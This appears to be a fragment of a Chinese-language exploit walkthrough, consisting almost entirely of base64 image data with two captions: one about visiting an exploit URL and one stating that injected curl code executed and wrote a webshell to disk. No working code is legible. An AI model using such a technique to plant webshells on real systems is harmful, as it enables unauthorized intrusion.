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" alt="" />

访问Exploit URL

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAi0AAAApCAIAAAB2hY4aAAAeWElEQVR4nO09a3AUx5njlHO5y11dqu7f/c3lrs515fxwKnd2/iRVNlQqjsAkF7hQhtjgw66UHew4jjD4iqRiI+dIFTYLwhiwDT5JVxWICIctAVU8ApJmtcLS6oHQw9E8dmcf856dfQglO/ejH9M9r11hEDKej9FOz/f+err76+6ZXZhabb42P18Df7X5+dp8bX5+vjY/P++e5ufna4AFMAGe+RpCQs4aUQQAmLAOJF6rISuYCmWRMGkHuYYlaoAFe4vNYG9cNXFocWhxaMsmtIWFhfkbN6q1arUG/tVqtWq1Vq3WYLlWw+harVYFAJgQVJF4tVpFAogKZZEwaadaQ1dQogpYalUohs1gb1w1EFnFzJChRrgF5eLQbiY0BkmR4MXVfBjEFYAPYr05Jpe3FuqER1ctjBCGi0MLV3hzTC5vHFocGn0dhxam8OaYXN5Pe2hMpVqpVKuVaqVarVaq1WoVIKrVSqWCcJBaAedqtVqpVCuVSqVSrVQIfqCpUiGFIaNLw2eoqQqtV6BQpYoOwIkMV5CdKtLh8kFBZLoKy3FocWhxaHFocWjLPzSmUqmUiT8vlP2lcgiDFx1CCZdpwOkrl8uVShmhg3UuKrQqqp8YYoghhhiWDJhyuVwpV8oAKvijXAGECkDBYR+P/JCOWIlzBUpSGkmVLrgqXDoqVKAxxAQcqSDz0Jmyxw8oXsERLSa0cpJNHj9xoqOjs6Ojo7Ozo6Ojo6OzgziDC4BABcxHEDpIFS4dFYCuTszU2QkKnR2dHZ3QEFbYScsDLso15AjhRyc03dkJzSDdcWhxaHFocWjLLzTGhuO0bZfLZbuMLl2EDS7ssl2GVMxDXSKyTeqyCXYbostIsY3UI5xtI0t2GRmELgFhrNC2CQ9s5LhNYCjDjUIrVyofDQ+fP39eEIRcDDHEEEMMSwiMjaBsB0M5khot2zyDjdLS4qTLgRde/oahVSqVS5cuSZJ048YNJ4YYYoghhiUExi6V7JJtl0ol27ZLdgmDbcMLGxUhV8ku2aWSXSqVaFnIYZds24ZoghFRbUC3kSIb2cAnm7RvI52uaSxHiKA/ZM5FNBVauVK5fPmyqqp3+nbEEEMMMXzmgLEsNDpb+KPkoizLKkEWC+NggTrTgh6wKAaaHxWgISvAQKBGLOeeLazaIuUbh1Yul69cuaJp2p2+HTHEEEMMnzlgLAuMx5Zl4RwAy5BQstyyha9dFBjMCUaszCKVuyRSOSJhKsmHlbhU2g/MgxKKu+ihJEp2dGiVOA/FEEMMMdwhYCzLMi3TtEzLcv9gAa4tLMsyTYQ3MbtpmSYUtKCgBUgm0GCZFmJFBpAGyyyVSqZlWaWSaWFtkAMrxUbQJS4jC8jN1NDQa6+9tnHjxjVr1mzcuHHXrl1DQ1dLQHnJ2r17t1UqkaGZ2DvLNE2rXLav9PXpuu6pnYWFhfeDwDTNhjU70MYw67pyt+e2kcoH2hiGaRu4PYaWACa7du7c2TV5p9245TDZtXNn4rJ8p91YbnC33u7FQlwPJDCmBwz3NDAw0N3dPTw8bFmWaQCkQXEFQAjFoAqWZfX39x8/fpxlWcu0PNQm1EGwLEuSpBdffPGhhx5asWLFqlWrHnvssVWrVj3yyCMPPvjgyy+/LMvynj17vva1r6EQgm3Ytt3Xd8Wfh2zbPnbsfRJTqVTa29uPHWucij7NeSjK91vef25rh5QvJ3ZiCDQy2bUzAIITSGNtRDifzTzU8G7ekfF3GQ76y9ClOwiMQYBpmoZhGoZhmEZfX39vT8+VK1fOnDljuQTDNBGnaUIMPOAlVob+maaHYhiGYXzY08MODPT09AwMDLgMBCNAmiYyaVA84KNQKKxbt27FihXr16/fsGHDli1bXvjpC1u2bNmwYcP69etXrly5evXqFStWfOc737Esi5AEWk3svG3bfX19hmF4ascwjKNHjzmOc+PGAjjK5XJ7e7vjOEePHotORZ/iPJTrWhfq+60fXW9fh5QvJ1xXQQ5pbEe+nAiOsDltbv18JvNQ46DvxPi7HG9FnIdIYHTd0HXD0HVdN3Qw0Ot6f39fb++Z9MjIAMtOTl4DQzak6/DPAHKGbrh4wzB0XcepBJV0YASy6bphmsa1iWvJZDKdTp85c2ZggDVMU3dtIGnd0A1dByp1aBFo0nXDMMxtL2979NFHN27c+MILL1y8eLFUKlUqVcuyLly48Pzzz2/evHnDhg3gEyYzGCp2E1or2aX+/n5/XjEM491333McB/9QI85DjuO8++57EanorsxDoYP0J4Al65BNGZIvJ5rzJlAbWT/LcfC7zdBM81j68fd2NNpPDnEeIoHRfdDX19fb2zsyMpJMJq9fv25Zlp/nk4NpmteuXUsmkyMjI729vSzLgoTVPKRSqZUrV27atGnr1q2iKJZKJUwqlUpHjhx56qmntm7d+txzz23cuDFaealU6u/vtyzLUzuGYbzzzruO48BfJa7Nl8vlNwh45513FxYWAmvWl4cG2hgXfHkj17UO0QgpAkvJBOUhQr9Xe4RplwT0UazebOQbpMmNqsAx2bvL5e6CYRzqkMQGmVcVtXdGEuFYH+VGhPc3yRPOSeE8eShsT69x+AQlcXmSGFT9A6zXqaiNxFC1PklKMOAOBlinDFP8TdzuQAhoTs2pIuukYY2FRBdSG/AWAyFfdUQ3zmjnF9Ww7wJgNE3TdU3TNF3TdE2/cuVKb2/v8PDw4OAgkYTAKgQUdbR+0lw5AECFrusuQocIQ3cXNzpcfZmWNTExkRpKDQ8P9/b2JlnW0A2gk9aIdLk6NV3X//vXv167du2mTZvOnTtnmiZk0XVd1/fu3fvYY4/9+Mc/3rp1609+8pMNGzYYuqERQPqoa1pEHjp8+IjjOPBX/SpVRVGzWQkfhw8fsW07sGapPDTQRo3pnkuQbXB+yHV1DUA2Dw+lj8pDhHy0LeqSWkphs6HrIc8UjurUNM2zbSVfvjzp5YE4t+uT47c3c4VdemWjNt+amRYvMg15tNF1QOWhyS7Pnl5oCM3E22QeCjcaqTbizgbfwcDww+qqQbyBENycmlPlcTmqxkKiC2/nk107dyYSiRDvoxtntPOLadh3AzCapqmapqmaruv9/f09vT3DHw2Pj4+Pjo1dvHjh/06fPnHixHEfXL161U0WqqpqKixqqOSWdZZl/RpOnDjxwQcfXLp0aWxsbHx8/OrVq709vUNDQ1gpdAupUZFOTdNUVdN17dlnn928efOTTz6pKAqm6rp+8ODB1atXP7V583PPPQfy0JYtW3RNV4FO6KuqutpU8N5EqVTy1I5hGIcOHa7X6+UgqNfrhw4d9j9VAkCkilzXusBlCEBFPY0hgGLz5SFSnuSMNB1A9JtygZ7g+7q0Sw4Z8UMGed/oQYoHyPjGxcgVQaBYGDS/VxLE6VkAhe/L+Qe25sMn2Ruvh0KMLlItjiQyTYfFG5kBA6OIVhDsdBhng0brW8P5ooto5w1yaHTjjHZ+EQ37rgBGUyFomtbT03P16tVxBCMjI6lUKpkcTNJw+crlnp4eMII3BF3TTp8+3d/f78ojfalUKp1OY3ODg4Nnz56l1Wr4U6MwqqZpzzzzzNNPP/3000/ruk4KWCXL+8va5XKItxBpWdbAwIB/ZWMYxsGDb9frdfRTDdRRr9cPHny7cR4KHNZdcjMPktCaJzQPUdlkUabD9gi9Up7+GNWjw0YkMMkL3HTzDYoRGc0zEAQsSoJ3jBr24mbTUKC2qPHKZ2SnZ8RpPnxfOmlqsKKNRqttdGebWPM0qpaweIMhlN5Yldd6E+shT3SREtENJrpxRjvfbMO+W4BRFEVRVFVRNE1Lp9P9A/04MSTZZJJl2WSSTbIsKiWTbJJNTl6f1DRNVYC0ogIdqgqvVFVRFUVVVVXRNG18fJxlB1igJsmyyWQyybJJNplMJpMsNDY23t/fPzExoWka9AjoUBSgChTxh6ZpL7744jPPPLNu3bp8Poc5IS/0QHGvkGfYP5dLVUAeKpfLntoxDOPAgbfq9Tr8VhN91Ov1AwfeajIPBT6yaRsIX5Q45LOatgF/7mk6D4WadsgHUN6nUp48FPnkwYWuycaTcnoPqPFAHJG4Qrpr0AqqcRdusqMHawteYvj2WfyvdC8y/MXkoTCj0Woj7qwTfAeDVQZ7uPg8FN6cGqoKfp4Z4bg/usjaiPY8unHeVB66axdEIA9B0HV9dGyMZdnx8bFkMnltctKkvjDqfmPVMAxFkWVFlhUFfCiyIiuBIBuGQYgSSkxzYnx8cDA5Nj7Osuy1a9cMXVcUWcGaZFwgLxRFkTVN29/evnnz5rVr1/72+HEVZBpFxkxgzQSWQa4OrMv1XlEU2bIslmUD89D+/e31el3XTf9Rr9f372//pOuh0G057zrppvNQ+HoIAcxGCBkg5esETe4ABQLs201MDG/Beqjpt6WaSkNh2kKyX4ibS5KHwo02kYeaeZ3Dm2Ybb2k1ijfc1k2th/z05laQZHQ3tRUZSo3XQyHAyLKsyBAUVdF1fXR0dGCAHRkZOX/+/GAqpaqqDJgUeJYVKAIRCkZ7QMEoBYu7GIVl2fMXzqfT6YEBdmJiwtB1VyvWEKQXyKfT6Y0bNz7xxBPf+973JicnVVXFnKqqjY2P/eAHP1i3di3Hca7fMvHpuiKblsmybKVS8dSOYRj79u2v1+vodQzqqNfr+/btv13Ph7xCvhcMmslDDUx7zZFClEcBfeCTJCKKJbJDLvr5UMDzgKYmkU2/xRD68Ck8XXqDoLyODD84/YfKkg5GGY1W29yTCLLCwvdC/TW6+H256OdD0WvQRlkw7Ja6NqNqo3EeCm+cjfNQVMO+24ApykW5WCzKslwsFotFWZF1TRsdHe3v7x9KDZ0+/cFA/4AKh2zAgSSKclGW5aIsF4syJMiYBLlkV3HR5ZcVVe3r6zt9+vTQ0FB/f9/E+Liu60UZkGUZm5GhY1hbEdqQZVlWNXXPnjc2bdr0/e9//9HvfrezszMrZVVVzWQy77///re//e2VK1c+/PDDvz91SnFVQllQxBYsy2RZtlqtemrHMIy9exP1el2Be4TUUa/X9+5NNJGHgl9ac1OB5zENfHGNYoJbdIvOQ5Gmc11tFJ6WcVVGjSjUmO/ZhvK84CRf7qKmqk1NDL1WaG648xQyLw/fyfBFFBxi+JtS0doiQ/T4HB0+PU6iTaLgykHUoLe/PEYXo5a4s8F3MDD8m00egRDYnJqZwTRotHSNhbTPiHbu89zfYBbROH02Gy447x5gisVisVAkQZZlTdNGR0f7+vpYlu3p6VEUBRELBHfBc6agEE4qFmVZ+fDDDwYHB/uu9I2DJNQMFCilYDGzffv2H/3oR2vXrv3mN7/5jW984+FHHnnooYe+9a1vrV27dsOGDT/72c9yuVxDxaZpJpNsrVbz1I5hGG++ubder8uy6j/q9fqbb+5tKg85nq8C+ZY/JBUT6e8U3cy+XCPTxLeFaJfIFyMiZoTuE4jg9ZKHRLA393zIrypwkkjodRUF7+wTiwXvgwT/oNXwqUnXpBM6Y6aiIMShv83lIY/lrslAz2lqwNMOr9GGasPubMAdjNjZCqqtm8lDTkRzWsyTxUY1Ftg+G9RGdB4Ka5xN7suFyN59wBSKxWKhUCD/CoVisaiq6vj4RF9f38TEhCwrRYAuYMBSJBbgisUCiQfnostRKMiyPDY21t/XPz4+oWta0cOOBIrkhasDUwuKLOfz+UQisWnTpscff3z9+vXr1q374Q9/+Pjjj2/atLm9vR1su5Ghuf4XC8VCEdg1TTPJBuehPXveqIfDnj1vhOWhuwaW81RsOWxWLG393KbXd29e7fJsHsvBq0/SOJdDw15KYPKFQqFQyBcKhXwenAqFfD5fKBTymqYZhq6qagFSAUMhD9mwIPwHIY9KeXSAi3zeo1w3dFXTSNWYPe9qg8LURx6azBcKhWLRNMyJa9eOHTv26quv7tixo62traOjY2p62jDNYrEYGJqrulAo5POmYSTZ5Pz8vKd2DMPYtavtV796Nexoa3v9bs9Dy7pHLAPnltaFZZmGll/zWBZexXmoeWDyJBTyYVAIZio0wDYLjSQKvssCxhby+UKxWAS/FQT+6wiw0dekhUI+bxhGMpn0/6fgtm1zHPfxxx9zQQDwYb+nEMMSwF3fXSe7fLtityLe26T2kwG5+RWyP/apgjgPNQ8wD+Xy+Vw+n8/ncrlcPgcgD0r5fC6Xy0MiZs6hUTyXhxw5UIZFoMrVABmhEnSZQ7pc1UgKqcIKwAGKSCNUilxGanLwX9OhmYbBBuWhhYUF27b9PxaOwbbtsN+Xi2EJ4LPQXanh+dYthW6T2hgwxHmoeWByUk6ScggkopzLSfjDg2sMtB7JKxWhRYKfUk6iGCWfUIASCfssSbnmQwProTijxBBDDDEsPTASGLQlPPZLUk6SJEkCaEBGBDC0AxLgQrxSTqJQGO9TiZMEJkHthCKQMiQinbgOISXYUA4XcgQSZbKmQtN1Y2goVavV6vX6nb4jMcQQQwyfLWAkSZKy8A+cspKURSiMhQVYzkpSNpuVpGyWxEoQn0WasG6CTYKitFlMIqwB/YTprIcx63ETXLsfzYemqurU1NTI8Mj8/PyfYoghhhhiWEJgQFrIYgB5ApRIPKZnYR7JSvjCpdGsEuYn5V0UFoY2CUWuelq7RBa8bhH8OCk2FZokSZqmTU9Np1KpwcHB5GAyOZgcJH6S1ftbr4OASGMHCRQWHhyk5QeTrnpa+yBZoNTS/IODg8g+4c8gLvl+lxa7GocWhxaHFoe2DENjMplsNpvNZtxBOZPJZLJZfEBiJpvNQBKiZTKAkslmMlge0BEbKGDWbAbpcg1BKayZBFdt1lWQQeUscgMaga5gu4sKTZIkVVXhf2MeQwwxxBDDUgEDskgm454jChjhlrP4M+unYrksxZ/18qH8RmCzAVoyEZANuohD88rHoUG349BcbBxagKIAiTg0D+7WhcZkRDGTEUUxk8mIACeiD5EoQ5IoAn4kgWUhDhKhMOQkNAJekbQEBURXzrWWEUVR/OPcH2dmZ2dmZ2dnZ+hjdnZ2hjjPgPMMKs/OzMzOzswANOSCH4RCCDMzM4AfSWBZiINEKAw5CY0z2OQsaXCG9I2whr29W0Kbm5sDtx/cR17g5zhujuM4bo4+OI6bI85z4DyHytzcHMfNzQE05IIfhEIIc3NzgB9JYFmIg0QoDDkJjXPYJEcanCN9I6xhbzlujuMEgUe9BPUV2IrJ9iyKqLzM+xpU7HoShxaHtkShMSIFGTiUkNduMUOxkjRk08VCg7Qm6C2uN9pGhmSE2JmZGZ7jCoWCQvwAN/2L3u7PhVM/0u39lW7Fg6SLFDfFpigy+j8iCLJC8BA/Cq5ARoX8aW+Z+qVvwmHqB8A/1aEVigWO4z6e/Rjctbm5OYHnJUkivthFAPqiGUVzv9FFs9JIukhxU2zgS2V5AptHXz+j7GF/4PfRKBvkd+ByHsmcJEk8z89xc54OlPE2aNSkqd6zHPsajfa4EIcWh3YbQ2MEURBEQRRFQYCHKACSIIiIIqATpAqCKEKk6J6QtCCIAIX1iKLLKoqCKPpkgX4kBO2Kgjg+MZHP572vxlGv0RFv3aE3HNw3JPCLdVkpS7wkhxSQry+47/ah9xzo9zEwhngbz33pDr8C6JOVsDfki4VZypdPe2hSLpfP5yfGJ8Bdm56ZkSQp65taobkZNSPKoM4Cp1xoEiW6rZviy2RQ64dN3jOvI3oGlBaxeaQHT+KQIz7ZDPbGlRVJHdlMVpKyMzPTqMEKRD9FZdikBdy6l3NfI30BknFocWhLExojCNgjwdUIzOIPgSxBtOhSBDIOUkKkGERYECkrAvYM8ovoTxQEYXR0NJ/P0eMXtTUKdyazJNZzgT+z9F5nltbnorP0HiY8spRElmKAFuFbGzQbfmuCcI7w3bOn++kMTRQzuVxubHQU3LXp6elsNkP3BGpWBKdDGRLruSCTUoACooTmh775G0xPhESGYoAWMxnKCjGdo73MEL5nREEQMpnM9PS0t6vQrdhtzu7FMu1rglenz7M4tDi02xMaI/C8IPAAx1Oh8DxPY3iIdi94SojneYoXMcIyLxCSLh+yzXtw4Hp0dDSXk/Dgt/pUhTno3POWc8/bzucOOcx+h3nTYQ44977tfO6gwyQc5k3nnoPOPW87zEFn9akyve+JAY5bBAKi3Qt6J1YURYqX3HrFu6IZr07P/JuUIM14+TFNRKpF2n00Ri6r0KScNDo6Cu7a1PQ0teonMxKe2aFpmegBgZiVeQiezCZgfqyXEhIE2ixixBNHQtLnKiVLSrsSmUxmemqabvSgF/D3PbC4Yzn0Nd4jQbpEhCbwlAbs0HIeRuLQqNB4ThAE/er/mMmDgsAL3B8BU/HdLdmzBwHDEofG8Lwg8HzlwQfAAaj4kud5nhc8lygwCKAoYBomChQCsgk0M/QTEXiCzPMCL4yOjko5SRTghsm9+5179zufb3fu3e8wbzj/0uXsn3BGVWfWcq4ZztmMs+UPzt8ccph2mIrcYZncmhHx3DZDb5XioV8UCTK5K4sEKARky9DMaCvH3UnCZLThgzek0BYSXgK4+qHzeOeJ3N1dNqGJggDzEM8LvDA1PS1miM0DahtAQB9ojB87l/tDW5Y9xM9OQoKAMg65yBfwHEsUXD4BTw2J+Ree7mFGz5QQbk4IcIJGMBMuk864mrGsKGbEzNTUtID6gED0gPse4Jv/Mvl9D8CGjzoTulravubKYr6g0OBwgsgCz5PaiGGKGAVveWgnt7UkUpA5lWhhWk8C9qF9LUxr9+JDez8I7kxot/2ucTwvqMPHnau/+XPydWXsAyBa/N+f/+kX/2D98qvZix0CN8fz3FKGxgB1ZKbheE8e8l42gO5WprWb51EgCFKJFiYUSAHqM51OS5KER62/2uN88U3nL99wvrDH+c1Vx3GcyxlnR5/z1Dnn+YtO56TjOM5HsvP3Rxxmn3PvAUekQfCcSUh3r7l/14F0AAXBxR33HzgVriAShJDPYD5q1r0YA/h86pWXdpwj6Rd3PNH9Ubp7zSsXg6TTB55A/DcVmiAIkiSl0yPgrk1NTYnk0p2cCnnnb0Lxw83a0X8y3v6S8fbfZQffEXwAmU+2Mi37hrzEk9sYZttJQRja18JsO+nih/a1YHY8DQQCAD20rwXxE0WgEV0Bwe5tLfuGhhIt20565nOiKE5NTbktnXMbricPnTtf/uq/Cce7S47jvHXY3Pmq+qc/03nI14caAOgxuI9xoIO1JFJN9VGylzVliwitAaQSLS2JFM9zsBAkhIcIeOV1O5Voae12Q/N42Nrtmgl1viXhCTOsCsDp2LFjNRra29uPHTsWJUiohYNbazcIpruVoW8FqhRvHQWqj4CAEbJhaBQHx/E8N5MeVqbOO1d23uhvmx9oK155t/DWxoVffEV95Z+d1/6xuH8dkpzz6nWruyWRCKr6lkQqukUR952sDobnOI6LSjwcxxGXHMcDCZ7neI7nOJ5D0WFMdyvTkkghHGRx657j3YbGcTwHLtw6A8o5IDgyks5KEpq6Cn+72/nSb5zPv+4cHXMcx3nyA4d53bnnNeeeNod53fniHmdVt+M4ztEJh9nt/PVeB81vcSLDw+zIgSde2n5WEAQ0u03/bs39u9rTApwPi1gU7+Fc2H7/gVNoBCJn7dQOkSCIYrr9iZe2n0XTZlEQ091r7j9wyp1lkwbQRJ80RW5ZQX53aYAjCglNEEXx96+8tP0sqeni9h/97qooimcPrHlnRIAuvfQX4ceOs2Ijnl0H0u5uWFaS0iMj4K5dvz4liCKaBPFwliYIvMDPTc/whw7zP/05/9vjcFY1N5cdOSFOsoVzL5gHviCO9qKZEg8mckP7Wrxt2W3prd2YMbWvhWlJnAya74DWLwj8yW1Ma/dQomXbyaF9La0nh/a1bOvmT27b1o32D3ihexuzrZtMmN2tLfuGeDBeDhGzOF4UhetT14m2Dxo8z/vy0H8+W7jvAf67/y71sVWwEXfmXJnOQ7jVU5pAX+tuZVq7A/pagxQCxnLYWXlXcUhf4zgw5rd2c5A9MDTED5VwruswG4IRl8g1/tBSiRZohufcobu1GydUz91uSaTgMILUchwYNnBoMJtFhMbzHM+FhPbee0drtZphmOAAecgwzPfeO4pDQwMfMbijGwASLoeC4TiOAyF6RjjgCxj9OO8ICSMPuGvEfW7t5nmO89dReGieuza0+7/YVV+/dulS7sKR2u5/Xdj99fpr9y3s/HJpx5edX35Fbv8P7uNJPXVEmrgQ0CBB64A3gW6Q+MZDLhgalXKxHN0gU4mW/wcwZCCwklehTQAAAABJRU5ErkJggg==" alt="" />

被注入文件中的Curl Syntax代码获得执行,WEBSHELL文件被写入了磁盘

